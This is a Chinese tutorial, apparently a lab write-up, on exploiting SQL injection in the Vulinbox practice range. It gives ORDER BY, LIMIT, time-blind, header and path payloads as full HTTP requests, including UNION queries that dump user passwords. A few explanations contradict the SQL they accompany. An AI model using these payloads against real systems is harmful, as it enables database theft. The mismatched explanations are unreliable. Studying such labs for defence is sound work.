靶场实战:Vulinbox SQL 注入攻防与技巧解析
SQL 注入是一种常见且危险的网络安全攻击技术,将恶意的 SQL 代码“注入”到原本合法的数据库查询请求中。本文围绕 YAK 靶场的 SQL 注入教程,详细介绍分析过程和利用方式。
ORDER BY 注入
单个条件排序位于 LIMIT 之前
接口路径:/user/limit/4/order1
关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY username + data + LIMIT 5;
漏洞原因: order 参数直接拼接到 SQL 语句中的 ORDER BY 子句后面,没有任何过滤和验证,攻击者可以注入恶意 SQL 代码。
**注意事项:**在构造payload 之前,需要先通过
http://127.0.0.1:8080/logic/user/register 靶场注册一个同名的用户(比如 admin),原因如下:
- 所有用户的 username 都不相同时,第一级排序
username DESC就能决定所有记录的顺序 - 第二级排序条件(注入的部分)完全不会生效
- 无法通过结果差异判断注入的 SQL 条件是否执行
Payload:DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN age ELSE -age END)
攻击请求:
GET /user/limit/4/order1?order=DESC%2C(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20age%20ELSE%20-age%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
结果解释:
返回 username 中包含 'a' 的数据进行排序。
CASE WHEN 逻辑:
- 判断:管理员数量是否大于 1
- 条件为真:按 age 正序排序
- 条件为假:按 -age 排序,即 age 倒序
多条件排序位于 LIMIT 之前
接口路径:/user/limit/4/order2
关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY username + data + , created_at LIMIT 5;
**漏洞原因:**order 参数直接拼接在多条件排序中的第一个条件后,后面还有 created_at 排序,为复杂注入提供了更多空间。
Payload:DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN age ELSE -age END)
攻击请求:
GET /user/limit/4/order2?order=DESC%2C(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20age%20ELSE%20-age%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
注入后完整 SQL:
select * from vulin_users where (username LIKE '%a%') ORDER BY username DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN age ELSE -age END), created_at LIMIT 5;
结果解释:
返回 username 中包含 'a' 的用户数据,按照以下排序逻辑:
- 第一级排序:created_at desc(创建时间倒序)
- 第二级排序:username DESC(用户名倒序)
- 第三级排序:CASE WHEN 条件判断
CASE WHEN 逻辑:
- 判断条件:管理员角色用户数量是否大于 1
- 条件为真:按 age 正序排序
- 条件为假:按 -age 排序,即 age 倒序
需要数据中存在 created_at 相同且 username 也相同的重复记录,注入的第三级排序条件才能发挥作用。
多条件排序位(无 LIMIT)
接口路径:/user/order3
关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY created_at desc, username + data + ;
漏洞原因: order 参数直接拼接在多条件排序中的第二个条件 username 后,前面还有 created_at desc 排序,这种多条件排序结构为复杂的布尔盲注提供了更多操作空间。
Payload:DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>0 THEN age ELSE -age END)
攻击请求:
GET /user/order3?order=DESC%2C(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E0%20THEN%20age%20ELSE%20-age%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
注入后完整 SQL:
select * from vulin_users where (username LIKE '%a%') ORDER BY created_at desc, username DESC,(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>0 THEN age ELSE -age END);
注入效果分析:
返回 username 中包含 'a' 的用户数据,按照以下排序逻辑:
- 第一级排序:created_at desc(创建时间倒序)
- 第二级排序:username DESC(用户名倒序)
- 第三级排序:CASE WHEN 条件判断
CASE WHEN 逻辑:
- 判断条件:管理员角色用户数量是否大于 1
- 条件为真:按 age 正序排序
- 条件为假:按 -age 排序,即 age 倒序
需要数据中存在 created_at 相同且 username 也相同的重复记录,注入的第三级排序条件才能发挥作用。
多字段分析
接口路径:/user/limit/4/orderby
关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY + orderby + desc LIMIT 5;
默认查询:orderby=username
漏洞特点:
- 完全控制 ORDER BY 字段(不同于前面的追加模式)
- 有 LIMIT 5 限制,只返回前 5 条记录,更容易观察变化
- 注入点位置优势,在 ORDER BY 的主要位置,影响力更大
Payload:(CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN id ELSE -id END)
攻击请求:
GET /user/limit/4/orderby?orderby=(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
结果解释:
根据管理员数量条件,控制按 id 正序或倒序排列,通过排序结果变化可判断条件是否成立。
反引号 + 排序
接口路径:/user/limit/4/orderby1
关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY + "" + orderby + " desc" + LIMIT 5;
漏洞特点: 参数被反引号包围,需要闭合反引号后进行注入。
Payload:id DESC, (CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN id ELSE -id END) DESC, id
攻击请求:
GET /user/limit/4/orderby1?orderby=id%60%20DESC%2C%20(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END)%20DESC%2C%20%60id HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
注入后完整 SQL:
select * from vulin_users where (username LIKE '%a%') ORDER BY `id` DESC, (CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN age ELSE username END) DESC, `id` desc LIMIT 5;
注入逻辑:
- 闭合第一个反引号:
id - 添加条件判断:CASE WHEN 判断 admin 数量,根据 id 进行排序
- 正确闭合最后的反引号:用
id作为最后一个字段
反引号 + 多字段
接口路径:/user/limit/4/orderby2
关键 Code:select * from vulin_users where (username LIKE '%a%') ORDER BY + "" + orderby + ",created_at" + LIMIT 5;
**漏洞特点:**参数被反引号包围,且后面有固定的 ,created_at 字段需要处理。
Payload:**id DESC, (CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN id ELSE -id END) DESC --`
攻击请求:
GET /user/limit/4/orderby2?orderby=id%60%20DESC%2C%20(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END)%20DESC%20--%20 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
注入后完整 SQL:
select * from vulin_users where (username LIKE '%a%') ORDER BY `id` DESC, (CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN id ELSE -id END) DESC -- `,created_at LIMIT 5;
注入逻辑:
- 闭合反引号:
id完成第一个字段 - 添加条件判断:根据 admin 数量选择按 id 排序
- 注释掉后续:用
--注释掉原本的,created_at
时间盲注
接口路径:/user/id-time-blind
关键 Code:select * from vulin_users where id = + id + ;
漏洞特点: 数字型 SQL 注入,id 参数直接拼接,且 vulinbox 注册了自定义的 sleep() 函数。
Payload:**1 AND (SELECT CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN sleep(5) ELSE 1 END)
攻击请求:
GET /user/id-time-blind?id=1%20AND%20(SELECT%20CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20sleep(5)%20ELSE%201%20END) HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
注入后完整 SQL:
select * from vulin_users where id = 1 AND (SELECT CASE WHEN (SELECT COUNT(*) FROM vulin_users WHERE role='admin')>1 THEN sleep(5) ELSE 1 END);
注入逻辑:
- 如果管理员用户数量大于 1:执行
sleep(5),延迟 5 秒响应 - 如果管理员用户数量不大于 1:正常返回,无延迟
基于 Referer 的 SQL 注入
接口路径:POST /visitor/reference
注入点: Referer 请求头中的 path 部分
关键 Code:SELECT * FROM vulin_visitors WHERE last_access_path = ' + path + ';
漏洞原理:
- 从 Referer 头部获取 URL:
referer := request.Header.Get("Referer") - 解析 URL 提取 path:
refererURL.Path - 直接拼接到 SQL 中:
"SELECT * FROM vulin_visitors WHERE last_access_path = '" + path + "'"
Payload:**http://example.com/visitor/reference' UNION SELECT id,created_at,updated_at,deleted_at,username,password,age,role,remake,'2024-01-01','127.0.0.1','10.0.0.1' FROM vulin_users --
攻击请求:
POST /visitor/reference HTTP/1.1
Host: 127.0.0.1:8080
Referer: http://example.com/visitor/reference' UNION SELECT id,created_at,updated_at,deleted_at,username,password,age,role,remake,'2024-01-01','127.0.0.1','10.0.0.1' FROM vulin_users --
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
注入后完整 SQL:
SELECT * FROM vulin_visitors WHERE last_access_path = '/visitor/reference' UNION SELECT id,created_at,updated_at,deleted_at,username,password,age,role,remake,'2024-01-01','127.0.0.1','10.0.0.1' FROM vulin_users --';
注入逻辑:
- 单引号逃逸:
reference'闭合原始查询 - UNION 查询:获取 vulin_users 表中的用户数据
- 字段匹配:12 个字段匹配 vulin_visitors 表结构
- 注释后续:
--注释掉原 SQL 的结尾
**预期效果:**返回的 JSON 数据中会包含 vulin_users 表的用户信息,实现跨表数据泄露。
返回结果:
HTTP/1.1 200 OK
Content-Type: application/json
Date: Thu, 21 Aug 2025 13:51:56 GMT
Content-Length: 12776
[
{
"age": 25,
"created_at": "2025-08-21T21:13:51.9803304+08:00",
"deleted_at": null,
"id": 1,
"last_access_domain": "admin",
"last_access_path": "我是管理员",
"last_access_time": "2024-01-01T00:00:00Z",
"password": "admin",
"proxy_ip": "127.0.0.1",
"real_ip": "10.0.0.1",
"updated_at": "2025-08-21T21:13:51.9803304+08:00",
"username": "admin"
},
...
]
基于 X-Forwarded-For 的 SQL 注入
接口路径:POST /visitor/x-forwarded-for
注入点: X-Forwarded-For 请求头
关键 Code:SELECT * FROM vulin_visitors WHERE proxy_ip IN ('ip1','ip2',...);
漏洞特点:
- 从 X-Forwarded-For 头部提取 IP 列表,以逗号分割
- 忽略第一个 IP,后续 IP 作为代理 IP 查询
- 直接拼接到 SQL 查询中,存在单引号逃逸注入
Payload:**192.168.1.1, 10.0.0.1') OR 1=1 --
攻击请求:
POST /visitor/x-forwarded-for HTTP/1.1
Host: 127.0.0.1:8080
X-Forwarded-For: 192.168.1.1, 10.0.0.1') OR 1=1 --
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
返回结果:
HTTP/1.1 200 OK
Content-Type: application/json
Date: Thu, 21 Aug 2025 13:34:37 GMT
Content-Length: 2193
[
{
"age": 28,
"created_at": "2025-08-21T21:13:51.9813858+08:00",
"deleted_at": null,
"id": 1,
"last_access_domain": "example.com",
"last_access_path": "/visitor/reference",
"last_access_time": "2025-08-21T19:13:51.9813858+08:00",
"password": "password123",
"proxy_ip": "10.0.0.1",
"real_ip": "192.168.1.100",
"updated_at": "2025-08-21T21:13:51.9813858+08:00",
"username": "john_doe"
},
{
"age": 32,
"created_at": "2025-08-21T21:13:51.9813858+08:00",
"deleted_at": null,
"id": 2,
"last_access_domain": "example.com",
"last_access_path": "/visitor/reference",
"last_access_time": "2025-08-21T20:13:51.9813858+08:00",
"password": "password456",
"proxy_ip": "10.0.0.2",
"real_ip": "192.168.1.101",
"updated_at": "2025-08-21T21:13:51.9813858+08:00",
"username": "alice_smith"
}
...
]
注入后完整 SQL:
SELECT * FROM vulin_visitors WHERE proxy_ip IN ('10.0.0.1') OR 1=1 --');
注入逻辑:
- 闭合 IN 子句:
10.0.0.1')正确闭合IN() - 添加 OR 条件:
OR 1=1使 WHERE 条件恒为真 - 注释后续:
--注释掉原 SQL 剩余部分
**返回结果:**返回所有 vulin_visitors 表中的记录,因为 OR 1=1 条件恒为真。
基于 Path 的 SQL 注入
接口路径:GET /user/path/{name}
注入点: URL 路径参数 {name}
关键 Code:select * from vulin_users where username = ' + name + ';
漏洞原理:
- 使用 mux 路由提取路径参数:
name := vars["name"] - 直接调用不安全函数:
GetUserByUsernameUnsafe(name) - 字符串拼接构造 SQL:
select * from vulin_users where username = '+ i +';
Payload:admin' UNION SELECT id,'extracted',age,role,username,created_at,updated_at,password,remake FROM vulin_users--
攻击请求:
GET /user/path/admin'%20UNION%20SELECT%20id,%27extracted%27,age,role,username,created_at,updated_at,password,remake%20FROM%20vulin_users-- HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
注入后完整 SQL:
select * from vulin_users where username = 'admin' UNION SELECT id,'extracted',age,role,username,created_at,updated_at,password,remake FROM vulin_users--';
注入逻辑:
- 单引号逃逸:
admin'闭合原始查询 - UNION 查询:获取 vulin_users 表中的所有用户数据
- 字段匹配:9 个字段完全匹配 vulin_users 表结构
- 注释后续:
--注释掉原 SQL 的结尾
预期效果: 返回 vulin_users 表中所有用户的完整信息,包括用户名、密码、角色等敏感数据,实现完整的数据泄露。
LIMIT(语句结尾)注入案例
接口路径:/user/limit/int
**关键 Code:**select * from vulin_users where (username LIKE '% + "a" + %') LIMIT + limit + ;
**漏洞原因:**limit 参数直接拼接到 SQL 语句中,没有任何过滤和验证。
Payload:(SELECT COUNT(*) FROM vulin_users WHERE role='admin')
攻击请求:
GET /user/limit/int?limit=(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role='admin') HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
结果解释:
注入后 SQL 变为:select * from vulin_users where (username LIKE '%a%') LIMIT (SELECT COUNT(*) FROM vulin_users WHERE role='admin');
子查询返回管理员用户数量,作为 LIMIT 值控制返回记录数量,通过记录数量变化可推断数据库信息。
本文首发于 Yak Project 公众号,阅读原文。
